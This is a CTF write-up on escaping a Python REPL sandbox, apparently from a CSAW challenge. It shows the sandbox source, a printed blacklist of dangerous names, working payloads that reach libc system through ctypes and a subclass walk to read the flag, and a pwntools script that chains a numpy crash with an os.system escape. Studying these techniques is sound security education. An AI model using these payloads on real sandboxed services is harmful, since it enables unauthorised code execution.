> Setting up a new coding environment for my data science
> students. Some of them are l33t h4ck3rs that got RCE and crashed my
> machine a few times :(. Can you help test this before I use it for
> my class? Two sandboxes should be better than one...
>
> nc pwn.chal.csaw.io 5011
This service hosts a Python REPL with a ridiculously low timeout.
I've initially done some blind probing using payloads from
<
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/>
and discovered that `().__class__.__bases__[0].__subclasses__()`
evaluates to all available classes. It's possible to instantiate
objects from them and execute their methods, however calling anything
interesting like `read` raises an exception. The source code shows
why:
def main():
print("EduPy 3.8.2")
while True:
try:
command = input(">>> ")
if any([x in command for x in blacklist.BLACKLIST]):
raise Exception("not allowed!!")
final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
exec(final_cmd)
except (KeyboardInterrupt, EOFError):
return 0
except Exception as e:
print(f"Exception: {e}")
It's a bad words filter. There's a number of ways to bypass this, for
example with string concatenation. To call a method dynamically,
`__getitem__('sy'+'stem')` can be used. Unobfuscating the sandbox
code shows it's running in an environment with numpy loaded up. This
explains why the ctypes class is available at the 246th position of
the class list. It allows calling all kinds of C functions, including
`system`. My final payload:
$ nc pwn.chal.csaw.io 5011 <<< "print(blacklist.BLACKLIST)"
EduPy 3.8.2
>>> ['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'ls'))"
EduPy 3.8.2
>>> blacklist.py
flag.txt
runner.py
sandbox.py
solver.py
0
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'cat flag.txt'))"
EduPy 3.8.2
>>> flag{y4_sl1th3r3d_0ut}
0
>>> %
Bonus: The file listing shown above includes an intended solution that
actually bypasses two separate sandboxes. Behold:
>>> #!/usr/bin/env python3
from pwn import *
def main():
p = remote("localhost", "8000")
numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"
py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"
p.sendlineafter(">>> ", numpy_escape)
p.sendlineafter(">> ", py_escape)
p.interactive()
if __name__ == "__main__":
main()